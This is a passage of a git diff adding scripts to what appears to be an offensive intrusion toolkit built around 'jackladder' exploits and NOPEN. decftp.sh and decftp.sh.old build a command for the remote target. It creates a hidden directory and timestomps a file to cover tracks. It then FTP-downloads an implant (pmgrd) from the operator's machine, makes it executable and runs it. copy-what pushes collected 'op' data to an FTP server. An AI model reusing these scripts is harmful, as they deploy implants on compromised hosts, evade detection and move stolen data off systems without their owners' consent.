one of these will be used but will not be munged. + + + t) OLDCMD=yes;; + +" diff --git a/Linux/bin/conf.iptables b/Linux/bin/conf.iptables new file mode 100755 index 0000000..23b1ca6 --- /dev/null +++ b/Linux/bin/conf.iptables @@ -0,0 +1,34 @@ +#!/bin/bash + +# +# $Log: conf.iptables,v $ +# Attempt to identify OS and actual modules needed +# + +# conf.iptables +# Run this to make sure you have the proper modules installed in +# order to properly run jackladder attacks + +KERNEL_VERSION=`uname -r` + +case $KERNEL_VERSION in + 2.4*) + [ -n "`awk '/^ipchains/ {print $1}' < /proc/modules`" ] && \ + rmmod ipchains + IPTABLES=ip_tables + isthere=`awk '/^ip_tables/ {print $1}' < /proc/modules` + ;; + *) + IPTABLES=iptables + isthere=`awk '/^iptables/ {print $1}' < /proc/modules` + ;; + +esac +[ -z "`awk '/^ip_conntrack/ {print $1}' < /proc/modules`" ] && \ + /sbin/insmod ip_conntrack +[ -z "`awk '/^ip_conntrack_ftp/ {print $1}' < /proc/modules`" ] && \ + /sbin/insmod ip_conntrack_ftp +[ x = x$isthere ] && \ + /sbin/insmod $IPTABLES +[ -z "`awk '/^ipt_state/ {print $1}' < /proc/modules`" ] && \ + /sbin/insmod ipt_state diff --git a/Linux/bin/connect.new.so b/Linux/bin/connect.new.so new file mode 100755 index 0000000..b666057 Binary files /dev/null and b/Linux/bin/connect.new.so differ diff --git a/Linux/bin/connect.so b/Linux/bin/connect.so new file mode 100755 index 0000000..dc7f5d1 Binary files /dev/null and b/Linux/bin/connect.so differ diff --git a/Linux/bin/connect.so.RHEL4 b/Linux/bin/connect.so.RHEL4 new file mode 100755 index 0000000..dc7f5d1 Binary files /dev/null and b/Linux/bin/connect.so.RHEL4 differ diff --git a/Linux/bin/connect.so.orig b/Linux/bin/connect.so.orig new file mode 100755 index 0000000..d86621f Binary files /dev/null and b/Linux/bin/connect.so.orig differ diff --git a/Linux/bin/connect.so.rh8 b/Linux/bin/connect.so.rh8 new file mode 100755 index 0000000..d62125f Binary files /dev/null and b/Linux/bin/connect.so.rh8 differ diff --git a/Linux/bin/connect12.so b/Linux/bin/connect12.so new file mode 100755 index 0000000..76d7c58 Binary files /dev/null and b/Linux/bin/connect12.so differ diff --git a/Linux/bin/copy-ds b/Linux/bin/copy-ds new file mode 120000 index 0000000..d14d2d5 --- /dev/null +++ b/Linux/bin/copy-ds @@ -0,0 +1 @@ +copy-what \ No newline at end of file diff --git a/Linux/bin/copy-egg b/Linux/bin/copy-egg new file mode 120000 index 0000000..d14d2d5 --- /dev/null +++ b/Linux/bin/copy-egg @@ -0,0 +1 @@ +copy-what \ No newline at end of file diff --git a/Linux/bin/copy-emerg b/Linux/bin/copy-emerg new file mode 120000 index 0000000..d14d2d5 --- /dev/null +++ b/Linux/bin/copy-emerg @@ -0,0 +1 @@ +copy-what \ No newline at end of file diff --git a/Linux/bin/copy-fast b/Linux/bin/copy-fast new file mode 120000 index 0000000..d14d2d5 --- /dev/null +++ b/Linux/bin/copy-fast @@ -0,0 +1 @@ +copy-what \ No newline at end of file diff --git a/Linux/bin/copy-slow b/Linux/bin/copy-slow new file mode 120000 index 0000000..d14d2d5 --- /dev/null +++ b/Linux/bin/copy-slow @@ -0,0 +1 @@ +copy-what \ No newline at end of file diff --git a/Linux/bin/copy-what b/Linux/bin/copy-what new file mode 100755 index 0000000..ad496b7 --- /dev/null +++ b/Linux/bin/copy-what @@ -0,0 +1,934 @@ +#!/bin/bash +#Fri Jul 19 17:49:33 GMT 2013 + +# GLOBALS +VER=1.5.0.1 +Directory="/home/black/tmp/" +PUSHEDDIR=/root/PUSHED/ +NOTPUSHEDDIR=/root/NOTPUSHED/ +DONEDIR=${Directory}DONE/ +OUTDIR=/tmp + +suite=$(cat \/suite.txt 2>/dev/null) +dbgfile=/root/dammit +PROG=`basename $0` +ANS= +PROMPT= +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" + + +[ -d "/current/tmp" ] && OUTDIR=/current/tmp + +# this allows clearing dbgfile variable to turn off debug. +[ "$dbgfile" ] && touch "$dbgfile" +[ -f "$dbgfile" ] || dbgfile="" + +# Functions must be defined before they are called +dbg() { + [ "$dbgfile" ] && echo -e "DBG: `date`: $*" >> $dbgfile +} + +waitgoodbye() { + C=0 + while true ; do + grep -q "221 Goodbye" $OUTFILE && note FTP SESSION COMPLETE && break + sleep 2 + C=$(((C+2)%45)) + [ $C -lt 2 ] && note "$COLOR_FAILURE\nSTILL WAITING for FTP session to $HOST as USERNAME=$USERNAME to complete$COLOR_NORMAL" + done +} + +waitlogin() { + C=0 + while true ; do + grep -q "530 Login incorrect" $OUTFILE && note INVALID LOGIN TRYING AGAIN && killall ftp && break + grep -q "230 Login successful" $OUTFILE && note LOGIN SUCCESSFUL && break + sleep 2 + C=$(((C+2)%45)) + [ $C -lt 2 ] && note "$COLOR_FAILURE\nSTILL HUNG trying to connect to $HOST as USERNAME=$USERNAME$COLOR_NORMAL" + done +} + +reuse() { + if [ "$REUSE" ] ; then + FILE=$1 + if [ "$FILE" ] ; then + if [ -f "$FILE" -a -f "$FILE.md5" ] ; then + MD5=`cat $FILE.md5 | awk '{print $1}'` + [ -x /current/bin/getopdata ] && \ + /current/bin/getopdata setvar fg_reuse.$MD5. $FILE + fi + fi + fi +} + +notered() { + # Use only for errors. + # Logs output in $ERRFILE also + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "\a$COLOR_FAILURE${*}$COLOR_NORMAL" | tee -a $ERRFILE + [ "$dbgfile" ] && echo -e $N "\a$COLOR_FAILURE${*}$COLOR_NORMAL" >> $dbgfile + sleep 1 + unset N +} + +note() { + unset SAYIT ERR + [ "$QUIET" ] || SAYIT=yes + [ "$1" = "LOUD" ] && SAYIT=yes && shift + [ "$1" = "ERR" ] && ERR=yes && shift + if [ "$SAYIT" ] ; then + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + if [ "$ERR" ] ; then + [ "$dbgfile" ] && echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" >> $dbgfile + echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" 1>&2 + else + echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" + [ "$dbgfile" ] && echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" >> $dbgfile + fi + unset N + fi +} + +die() { + notered "$*\n" + # If clicked to start, we pause before exiting (closing terminal window) + unset QUIET + if [ "$CLICKEDON" ] ; then + while [ ! "$NOXWAIT" ] ; do + note Hit RETURN to exit + read blah + [ "$blah" ] && \ + note "\n\nI said hit RETURN....not $blah....\n\n" && \ + sleep 1 && \ + continue + break + done + fi; + exit 1 +} + +CLICKEDON=`pschain 2>&1 | egrep "gnome-terminal.*Desktop|popup"` + + +usage() { + if [ "$1" != "-v" ] ; then + USTR="$PROG [OPTIONS] [dir|path-to-file] [ds|slow|fast|emerg]" + [ "$EGGMODE" ] && USTR="$PROG [EGGFILE]" + [ "${PROG:5:6}" = "what" ] && USTR="$PROG [OPTIONS] [dir|path-to-file] [ds|slow|fast|emerg] + $PROG [egg] EGGFILE" + cat </dev/null` + fi + if [ ! "$suite" ] && grep -q Getopts.*H /usr/local/bin/scrubhands ; then + [ "$suite" ] || suite=`getopdata -H viacopy-$WHICHPATH 2>/dev/null` + fi + [ "$suite" ] || suite=`cat /root/suiteloc.txt 2>/dev/null`; + mysuite="$suite" + [ "$day" ] || myday=$(date +%G%m%d-%H%M) + [ "$suite" ] || mysuite=SUITEUNKNOWN + # we only remove the timestamp right before extension (.), if any + # First with 4 digit time + name2=`echo $name | sed "s/[_\-]*[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]\-[0-9][0-9][0-9][0-9]\././g"` + # Now with 6 digit time + name2=`echo $name | sed "s/[_\-]*[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]\-[0-9][0-9][0-9][0-9][0-9][0-9]\././g"` + # Remove a -L-## anywhere + name2=`echo $name2 | sed "s/-*[WL]\-[0-9]*//g"` + if [ "$name" != "$name2" ] ; then + name2=`echo $name2 | sed "s/\.\.*/./g"` + note ERR "Removing old date (only last one) and suite information from name:" + note ERR "was=$name" + note ERR "now=$name2" + name=$name2 + fi + # Now inject $day before the extension. + if echo $name | grep -q ".tar.bz2$" ; then + name2=`echo $name | sed "s/\.tar\.bz2$/\-L\-$mysuite\-$myday.tar.bz2/"` + elif echo $name | grep -q "\.." ; then + name2=`echo $name | sed "s/\(.*\)\.\([^\.]*\)$/\1-L-$mysuite-$myday.\2/g"` + elif echo $name | grep -q ".zip$" ; then + name2=`echo $name | sed "s/\.zip$/-L-$mysuite-$myday.zip/"` + elif echo $name | grep -q ".bz2$" ; then + name2=`echo $name | sed "s/\.bz2$/-L-$mysuite-$myday.bz2/"` + else + name2=`echo $name | sed "s/$/-L-$mysuite-$myday/"` + fi + fi + unset myday mysuite + echo $name2 +} + + + + +# ARG: Remaining args may be speed and/or dir/file. +# defaults to slow. +# Anything else, we call usage +EGGMODE="" +export WHICHPATH="" +LOOPCOUNT=0 +ORIGARGS="$*" +NOZIP="" +[ "$NEVERMOD" ] || NEVERMOD="" +if [ "${PROG:5:4}" != "what" ] ; then + STR="${PROG:5:6}" + [ "$STR" = "egg" -o \ + "$STR" = "ds" -o \ + "$STR" = "slow" -o \ + "$STR" = "fast" -o \ + "$STR" = "emerg" ] && WHICHPATH=$STR +fi + +[ "$WHICHPATH" = "egg" ] && EGGMODE=yes +[ "$WHICHPATH" ] || WHICHPATH=slow + + +# Set this to try alternate creds/site +[ "$ALT" ] || ALT="" +export ALT + +while [ "$1" ] ; do + LOOPCOUNT=$((LOOPCOUNT+1)) + NOMOD="" + LC1=`echo "$1" | tr 'A-Z' 'a-z'` + + if echo "$LC1" | grep -q freshstep_tracker ; then + NOMOD=yes + fi + + [ "$LC1" = "-v" ] && usage -v + [ "$LC1" = "-h" ] && usage + [ "${LC1:0:3}" = "alt" ] && ALT=yes && shift && continue + [ "$LC1" = "reuse" ] && REUSE=yes && shift && continue + [ "$LC1" = "nozip" ] && NOZIP=yes && shift && continue + [ "$LC1" = "nomod" ] && NEVERMOD=yes && shift && continue + [ "$LC1" = "quiet" ] && QUIET=yes && shift && continue + [ "$LC1" = "midop" ] && FORCEMIDOP=yes && MIDOP=yes && shift && continue + [ "$LC1" = "force" ] && FORCEPUSH=yes && NOZIP=yes && shift && continue + [ "$LC1" = "noxwait" ] && NOXWAIT=yes && shift && continue + if [ ! "$WHICHPATH" ] ; then + if [ "$LC1" = "egg" -o \ + "$LC1" = "ds" -o \ + "$LC1" = "slow" -o \ + "$LC1" = "fast" -o \ + "$LC1" = "emerg" ] ; then + WHICHPATH=$LC1 && shift && continue + fi + else + if [ "$LC1" = "egg" -o \ + "$LC1" = "ds" -o \ + "$LC1" = "slow" -o \ + "$LC1" = "fast" -o \ + "$LC1" = "emerg" ] ; then + # If $LC1 is same as copy-$STR, never mind, if different die horribly. + [ "$LC1" = "$WHICHPATH" ] || \ + die "Use either \"copy-what $1\" or \"copy-$WHICHPATH\", not \"copy-$WHICHPATH $1\"" + fi + fi + # Optional first arg, if a dir or a file, is our ONETARG to process + if [ -d "$1" -o -f "$1" ] ; then + # Note this ignores all files/dirs on command line except LAST ONE + ONETARG=$1 + if echo "$ONETARG" | grep -q freshstep_tracker ; then + NOMOD=yes + fi + else + notered "Ignoring unrecognized options (not a file or directory): $1" + fi + # Infinite loops are bad, as are too many args. + [ $LOOPCOUNT -gt 9 ] && die "Too many arguments: $ORIGARGS" + shift +done + + + +if [ "$WHICHPATH" = "egg" ] ; then + PATHNUM=1 +elif [ "$WHICHPATH" = "ds" ] ; then + PATHNUM=2 +elif [ "$WHICHPATH" = "slow" ] ; then + PATHNUM=3 +elif [ "$WHICHPATH" = "fast" ] ; then + PATHNUM=4 +elif [ "$WHICHPATH" = "emerg" ] ; then + PATHNUM=5 +else + usage +fi + +# We save this off to try as we alternate back and forth on failure later +TRYPATHNUM=$PATHNUM + +export PATHNUM TRYPATHNUM + +# ASSERT: WHICHPATH IS SET AND ACCURATELY MATCHES EXACTLY ONE OF THESE + + +ERRFILE="/tmp/copy-${WHICHPATH}.err" + +note "\n\n$PROG v.$VER in $WHICHPATH mode" +note "\n\nCalled as: $0 $ORIGARGS" +#----------- Data extraction script ------ +day=$(date +%G%m%d-%H%M) + +#---------------------------- gzip the files + + +[ -f "$ONETARG" ] && ONEFILEONLY=yes && NOZIP=yes && FORCEMIDOP=yes +[ "$FORCEMIDOP" ] && MIDOP=yes + + +[ "$EGGMODE" -a "$ONETARG" -a ! -e "$ONETARG" ] && die Egg $ANS does not exist +[ "$FORCEPUSH" -a ! "$ONETARG" ] && die FORCEPUSH can only be used on a single file +[ "$FORCEPUSH" -a ! -f "$ONETARG" ] && die FORCE push can only be used on a single file +[ "$FORCEPUSH" -a ! "$EGGMODE$ONEFILEONLY" ] && die FORCE push can only be used on a single file or in EGGMODE + + +FILENAMEFIX=`basename "$ONETARG" | tr -d -- '-a-zA-Z0-9:._' | sed "s,\n$,,g"` + +if [ -f "$ONETARG" -a "$FILENAMEFIX" ] ; then + ls -al "$ONETARG" + OLDTARG="$ONETARG" + note "\n\nThis file has odd characters. We are packaging it in a tar archive and sending that." + echo "$ONETARG" | grep -q / || ONETARG=./$ONETARG + TARTARG=`dirname "$ONETARG"`/FILE_IS_INSIDE_`basename "$ONETARG" | tr -dc -- '-a-zA-Z0-9:._'`.tar + tar cvf $TARTARG "$ONETARG" + mv -v "$OLDTARG" ~/PUSHED/`basename "$ONETARG"`.tarpushed + ONETARG=$TARTARG +fi + + +mkdir -p $DONEDIR $PUSHEDDIR $NOTPUSHEDDIR || \ + die Cannot mkdir $DONEDIR $PUSHEDDIR $NOTPUSHEDDIR + +# Check to make sure the directory is valid before scanning through it +if [ ! -d $Directory ]; then + die "Sorry but $Directory is an invalid directory" +fi + +# Are we mid-op still? +if [ ! "$FORCEMIDOP" ] ; then + ps -efwwwwwwwwww | grep -v grep 2>/dev/null | egrep -q "tcpdump.raw|script -af" && MIDOP=yes + + [ "$EGGMODE" ] && MIDOP=yes + + if [ "$MIDOP" -a ! "$EGGMODE$FORCEPUSH" ] ; then + TESTMIDOP=`ps -efwwwwwwwwww | grep -v grep 2>/dev/null | egrep "OP-DETAILS|script .*script"` + if [ ! "$TESTMIDOP" ] ; then + DEFAULT=Y getanswer "\n\n\nThere are no scripted windows, is your op done?" + if [ "${ANS:0:1}" = "n" -o "${ANS:0:1}" = "N" ] ; then + note "\n\nYour pushed data will end up in /root/PUSHED, your op data" + note "will remain in /current/*" + else + MIDOP="" + fi + fi + fi +fi + +cd $Directory + +DIRLIST="" +# Prepare for our for statement +TARGEXT=.bz2 +ONEDIR="" +OPSDIRS=`ls -1 | egrep -v "pcaps|DONE"` +[ "$ONETARG" ] && OPSDIRS="$ONETARG" +PLURAL=s + +if [ "$EGGMODE" ] ; then + if [ ! "$ONETARG" ] ; then + DEFAULT=ABORT getanswer "Enter full pathname of the egg:" + [ "$ANS" = "ABORT" ] && die + FP=$ANS + FN=`basename $ANS 2>/dev/null` + if [ ! "$FP" -o ! -f $FP ] ; then + die "Egg \"$FP\" does not exist" + fi + LEN=`echo $FN | wc -c` + if [ "$FN" != "ABORT" -a $LEN -lt 12 ] ; then + DEFAULT="" getanswer "Your filename is pretty short, you should\nenter some identifying string to append to it:" + if [ "$ANS" ] ; then + ANS=`echo "$ANS" | tr -- '/ ' '-_'` +note COPYING: cp -pv $FP ${FP}_$ANS + cp -pv $FP ${FP}_$ANS + FP="${FP}_$ANS" + FN="${FN}_$ANS" + fi + fi + ONETARG="$FP" + fi + [ -f "$ONETARG" ] || die "In egg mode, required argument must be a file" + OPSDIRS="`dirname $ONETARG`" + TARGEXT="`basename $ONETARG`" + [ -d "$OPSDIRS" ] || die "In egg mode, required argument must be a file" + [ -f "$OPSDIRS/$TARGEXT" ] || die "In egg mode, required argument must be a file" + PLURAL="" +else + if [ -d "$ONETARG" ] ; then + OPSDIRS="$ONETARG" + ONEDIR="$ONETARG" + FORCEPUSH="" + elif [ -f "$ONETARG" ] ; then + PLURAL="" + OPSDIRS=`dirname "$ONETARG"` + TARGEXT=`basename "$ONETARG"` + FORCEPUSH=yes + fi + +fi + + + +[ "$EGGMODE" ] || \ + note "\n\n\nProcessing $TARGEXT file$PLURAL." +[ "$MIDOP$EGGMODE$ONEFILEONLY" ] || note "\n\nFiles you DO NOT PUSH will be put in $NOTPUSHEDDIR\n\n" + +[ "$FORCEPUSH" ] && \ + note "\n\nFORCE PUSHING, no prompts to confirm it." + +[ "$EGGMODE" ] && \ + note "\n\nProcessing egg file $TARGEXT." + +[ "$ONEFILEONLY" ] && \ + note "\n\nProcessing ONLY the file $ONETARG." + +# Set FTP variables +[ "$HOST" ] || HOST=10.0.139.12 +USERNAME=anonymous +PASSWD=anonymous + +DESTDIR=$WHICHPATH +PUTWHAT=*.zip +[ "$NOZIP$FORCEPUSH" ] && PUTWHAT=*$TARGEXT +OUTFILE="$OUTDIR/copy-${WHICHPATH}.out" +# If the file /current/etc/.oprc or failing that /root/.oprc is non-empty, reset vars from it. +# E.g., that file can contain a different HOST for the FTP server. +# DO NOT put anything like WHICHPATH in there tho, that would be silly. +RCFILE=/root/.oprc +if [ -s /current/etc/.oprc ] ; then + RCFILE=/current/etc/.oprc + diff /current/etc/.oprc /root/.oprc >/dev/null || cp -pv /current/etc/.oprc /root/.oprc +fi +if [ -s $RCFILE ] ; then + [ `grep USERNAME $RCFILE 2>/dev/null | wc -l` -lt 5 ] && die "This script requires " + . $RCFILE +fi + + +FOUNDSOME= +PUSHEDSOME= +# Begin our for statement +for OPDIR in $OPSDIRS ; do + # Check if $FILE is a directory + if [ -d $OPDIR ]; then + # Check if the directory is readable + if [ -r $OPDIR ]; then + # Previous failed pushes may have stranded .md5 or op.done.by* files here we wipe them + rm -vf $OPDIR/*.md5 $OPDIR/op.done.by* + # Move these aside, they gets in the way + TEST=`ls -al $OPDIR/uls_*bz2 $OPDIR/{jscanner*,FW*}.zip 2>/dev/null | wc -l` + if [ $TEST -gt 0 ] ; then + THIS=this + ITGETS="it gets" + [ $TEST -gt 1 ] && THIS=these ITGETS="they get" + note moving $THIS aside $ITGETS in the way: + mkdir -p $OPDIR/opzips + mv -v $OPDIR/uls_*bz2 $OPDIR/{jscanner*,FW*}.zip $OPDIR/opzips 2>/dev/null + fi + + # Put the op.done.by* files in $OPDIR, crushing any there unless $NOZIP + if [ ! "$NOZIP" ] ; then + note Including this inside .zip file: + /bin/cp -v $OPDIR/down/op.done.by* $OPDIR 2>/dev/null + fi + INLIST="" + + TARBALLS=`cd $OPDIR ; ls -d *$TARGEXT 2>/dev/null` + #[ "$EGGMODE" ] && TARBALLS=$ONETARG + [ "$EGGMODE" ] && TARBALLS=$TARGEXT + + note TARBALLS= set to: $TARBALLS + + [ ! "$TARBALLS" ] && notered "Op dir $OPDIR has no *$TARGEXT files, skipping it" && continue + TARGETNAME="" + for name in $TARBALLS ; do + NOMOD="" + if echo "$name" | grep -q freshstep_tracker ; then + NOMOD=yes + fi + + + name2=`namemod $name` + if [ "$name2" -a ! "$name" = "$name2" ] ; then + note Modifying file name $name to add suite/date: + echo "RUNNING: (cd $OPDIR ; mv -v $name $name2)" + (cd $OPDIR ; mv -v $name $name2) + name=$name2 + # We leave TARGEXT the same if ONEDIR is set + # may be several files here, all *$TARGEXT files + [ "$ONETARG" -a ! "$ONEDIR" ] && TARGEXT=$name2 + fi + MORE=" and/or op.done.by* file(s)" + [ "$ONEFILEONLY$EGGMODE" ] && MORE="" + note "\n\n\n$TARGEXT$MORE found in $OPDIR:" + # Here we do an ls within $OPDIR, it makes more sense to the user + (cd $OPDIR ; ls -alht `basename $name` op.done.by* 2>/dev/null) + [ "$FORCEPUSH" ] || DEFAULT=Y getanswer "\nDo you want to PUSH above file(s) to ${WHICHPATH}monkey?" + [ "$FORCEPUSH" ] && ANS=y + if [ "${ANS:0:1}" = "y" -o "${ANS:0:1}" = "Y" ] ; then + [ "$INLIST" ] || DIRLIST="$DIRLIST $OPDIR" + INLIST=yes + note LOUD "\n\nPUSHING $name via $WHICHPATH" + else + note LOUD "\n\nNOT PUSHING $name via $WHICHPATH" + if [ ! "$MIDOP$EGGMODE$ONEFILEONLY" ] ; then + note LOUD "Moving $name to $NOTPUSHEDDIR" + ( cd $OPDIR ; mv -v $name $NOTPUSHEDDIR ) + fi + continue + fi + FOUNDSOME="$FOUNDSOME $name" + PUSHEDSOME="$PUSHEDSOME $name" + if [ ! "$EGGMODE$ONEFILEONLY" ] ; then + [ "$TARGETNAME" ] && TARGETNAME=${TARGETNAME}_ + # Remove anything after the first IP address + TARGETNAME=${TARGETNAME}`basename $name | sed "s/\(\.[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\).*/\1/g"` +# TARGETNAME=${TARGETNAME}`basename $name | sed "s/\..*//g"` + fi + done + + if [ ! "$EGGMODE" -a ! "$NOZIP" -a "$FOUNDSOME" ] ; then + # Done with one or more *$TARGEXT files in $OPDIR, zip them up into + # $ZIPNAME, move *$TARGEXT into $PUSHEDDIR. + OPFILES=`cd $OPDIR ; ls op.done.by* 2>/dev/null` + [ "$TARGETNAME" ] && TARGETNAME="${TARGETNAME}_" + ZIPNAME=${TARGETNAME}`echo $OPFILES | tr " " "_"`.zip + ZIPNAME=`namemod $ZIPNAME` +#`basename $OPDIR | sed "s/$TARGETNAME.*//g"`_ +#`date +%Y%m%d-%H%M%S` + + note Putting `cd $OPDIR ; echo *$TARGEXT` and $OPFILES into $ZIPNAME: + note with "++ cd $OPDIR ; zip -n bz2 $ZIPNAME $OPFILES *$TARGEXT ++" + (cd $OPDIR + zip -n bz2 $ZIPNAME $OPFILES *$TARGEXT || \ + die zip command failed: zip -n bz2 $ZIPNAME $OPFILES *$TARGEXT + ( cd $OPDIR ; mv *$TARGEXT $PUSHEDDIR ) + note -n "md5sum:\n " + md5sum $ZIPNAME | tee $ZIPNAME.md5 + reuse $ZIPNAME + ) + elif [ "$NOZIP" -a "$FOUNDSOME" ] ; then + # Need .md5 files, one per *$TARGEXT being pushed + (cd $OPDIR + pwd + ls -alrt *$TARGEXT + for OPFILE in *$TARGEXT ; do + md5sum $OPFILE | tee $OPFILE.md5 + reuse $OPFILE + done + ) + fi + else + die "(Non-Readable Directory): $OPDIR" + fi + else + note Ignoring file $OPDIR in $Directory + fi +# End of our for statement +done + + + + + +if [ ! "$FOUNDSOME" ] ; then + note "\n\nThere were NO $TARGEXT files pushed from $Directory*\n\n" + note "The FTP server currently has these files in $DESTDIR:\n\n" + TRYCOUNT=0 + while true ; do + { +ftp -inv</dev/null` + + [ "$DEBUGONLY" ] && die "DEBUG ONLY: PUSHEDFILES=$PUSHEDFILES= MIDOP=$MIDOP= NOZIP=$NOZIP= FORCEPUSH=$FORCEPUSH=" + + # quietly move aside $OUTFILE if there already + mv $OUTFILE $OUTFILE.`date +%Y%m%d-%H%M%S` 2>/dev/null + + while true ; do + if [ "$QUIET" ] ; then + { +ftp -inv<> $OUTFILE + +open $HOST + +user $USERNAME $PASSWD +cd $DESTDIR +pwd +binary +mput $PUTWHAT +mput *.md5 +ls +bye + +EOFFTP + } & + else + { +ftp -inv</dev/null to dd commands printed) + + -l tack an \"ls -al\" on the end of each dd command + + -b per chunk. usually 1000 blocks is 0.5M. default=3000 + + , if given, is stuck between the \"dd\" and the \".nnnn\", + to differentiate between dd files resulting from different + input files. E.g.: dd0.0000 vs. dd1.0000. + +"; + +require "getopts.pl"; +&Getopts( "ehb:l" ); + +&usage() if ($opt_h); +$execute = $opt_x; + +if ($opt_e) { + $noerr = " 2>/dev/null"; +} else { + $noerr = ""; +} + +@allddcmds = (); + +$cmd="dd"; +if ($opt_l) { + $ls = "; ls -al"; +} else { + $ls=""; +} +if (! $opt_b) { + $count=3000; +} else { + $count=$opt_b; +} +$if = $ARGV[0] if $ARGV[0]; +$prefix = $ARGV[2] if $ARGV[2]; +$of = "dd"; +$fullsize = $ARGV[1]; +$chunksize = 512000 * ($count/1000); +$loopsize = $fullsize / $chunksize; +$of .= $prefix; +$ofsuf="0000"; +$skip="0000"; +print " +=== To see only the commands echoed here, use one of +=== ${0} @ARGV | egrep -v \"^\$|^===\" +=== ${0} @ARGV | egrep -v \"^===\" + +=== Before dd'ing, you want a cksum of the original: + +cksum $if + +"; +for ($skip = "0000" ; $skip * ($chunksize / $count) < $loopsize*$chunksize ; $skip += $count) { + &docmd ("$cmd count=$count skip=$skip if=$if of=$of.$ofsuf$noerr $ls"); + $ofsuf++; +} +print " +=== IMPORTANT: Be sure the last chunk is smaller than the others, or you +=== may need more dd commands (this happens if block size is not 1K). + +ls -al $of.* + +=== Here's a couple extra dd commands in case that didn't +=== finish off the file (no harm in running these if they're +=== not needed though): + +"; +for ($i=0 ; $i < 2 ; $i++ ) { + &docmd ("$cmd count=$count skip=$skip if=$if of=$of.$ofsuf$noerr $ls"); + $ofsuf++; + $skip += $count; +} +print " +=== Then once the dd'ing is done, if the original file +=== can be deleted, you may: + +rm $if + +" unless ($if =~ /^\//); + + + +print " +=== Command to rebuild $if: + +cat $of.* > $if.new + +=== Other stuff you might want: + +cksum $if + +cksum $if.new + +=== NOPEN stuff + +"; + +@saveallddcmds = @allddcmds; + +print "-mget -b -l "; +while (@allddcmds) { + ($t) = (pop(@allddcmds) =~ /of=([.\w]*)/ ); + print "$t "; +} +print "\n\n=== OR\n\n"; + +@allddcmds = @saveallddcmds; +print "-mget -b -l "; +while (@allddcmds) { + ($t) = (shift(@allddcmds) =~ /of=([.\w]*)/ ); + print "$t "; +} +print "\n\n"; + +sub docmd () { + local($command,@junk) = @_; + local($tmp); + if (! $execute) { + print "$command\n"; + } else { + $tmp = `$command`; + } + push(@allddcmds,$command); + return $tmp; +} + +sub usage () { + print $usagetext; + exit; +} diff --git a/Linux/bin/decftp.sh b/Linux/bin/decftp.sh new file mode 100755 index 0000000..9d634db --- /dev/null +++ b/Linux/bin/decftp.sh @@ -0,0 +1,72 @@ +#!/bin/sh +case "${#}" in + 0|1|2|4) + echo "Usage: ${0} " + echo " jl is assumed to be in ./jl" + echo " e.g. ${0} dorothy $LOCALIP /usr" + exit + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +TARGETDIR=$3 + +if [ ! "$RA" = "" ]; then + echo "RA=\"$RA\"" +fi +if [ ! "$RP" = "" ]; then + echo "RP=\"$RP\"" +fi + +echo CommandLine: ${0} ${*} + +#1 on line below is for F version. Use 2 for D version +REALCMD="N=/dev/null +D=$TARGETDIR/.advtags +PATH=\$D:/bin:/usr/bin +echo \"locked\" > /tmp/.advtag_resource +touch -r $TARGETDIR /tmp/.advtag_resource +mkdir \$D +cd \$D +ftp -in<\$N 2>&1 +open $LOCALIP +user anon o +bi +get pmgrd.Z +E +uncompress pmgrd.Z >\$N 2>&1 +chmod +x pmgrd +pmgrd +exit 0" +export REALCMD + + +echo "" +echo "" +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo "" +echo "" + +echo "REALCMD=\"$REALCMD\"" +echo "" +echo "Command about to be executed:" +echo " ./jl.command telnet $REMOTEIP $JLPORT" +echo "" +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi +echo $MINUSN "Hit enter to proceed, ^C to not: " + +read junk + +#now run jackladder +#cfgmgr +REMOTEPORT=10402 +#mail +#REMOTEPORT=25 + +./jl.command telnet $REMOTEIP $REMOTEPORT diff --git a/Linux/bin/decftp.sh.old b/Linux/bin/decftp.sh.old new file mode 100755 index 0000000..2f2083e --- /dev/null +++ b/Linux/bin/decftp.sh.old @@ -0,0 +1,41 @@ +#!/bin/sh +case "${#}" in + 0|1|2|4) + echo "Usage: ${0} " + echo " jl is assumed to be in ./jl" + echo " e.g. ${0} dorothy $LOCALIP /usr" + exit + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +TARGETDIR=$3 + +#1 on line below is for F version. Use 2 for D version +REALCMD="N=/dev/null +D=$TARGETDIR/.advtags +PATH=\$D:/bin:/usr/bin +echo \"locked\" > /tmp/.advtag_resource +touch -r $TARGETDIR /tmp/.advtag_resource +mkdir \$D +cd \$D +ftp -in<\$N 2>&1 +open $LOCALIP +user anon o +bi +get pmgrd.Z +E +uncompress pmgrd.Z >\$N 2>&1 +chmod +x pmgrd +pmgrd +exit 0" + +#now run jackladder +#cfgmgr +REMOTEPORT=10402 +#mail +#REMOTEPORT=25 + +export REALCMD +./jl.command telnet $REMOTEIP $REMOTEPORT diff --git a/Linux/bin/dectelnet.sh b/Linux/bin/dectelnet.sh new file mode 100755 index 0000000..d1b1f82 --- /dev/null +++ b/Linux/bin/dectelnet.sh @@ -0,0 +1,228 @@ +#!/bin/sh +COLOR_NORMAL="\\033[0;39m" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +COLOR_NOTE="\\033[0;34m" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SYNTAX=" \\ + [] [] [ [nosy] ]" +DEFJLPORT=13 +PROG=`basename ${0}` +usage () { + echo " +Usage: [RA=redirector-address RP=redirector-port] $PROG \\ + $SYNTAX + * RA and RP required if redirecting JL with jackpop + * jl is assumed to be in ./jl + * jl_port defaults to $DEFJLPORT (arg required if next arg is used) + * rat_port optional - default used if not given. BUT--if rat_port is + given and nopen is not being used, the final argument must be + nosy to send the older syntax up. + + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 .advtags 33433 + e.g. $PROG alice 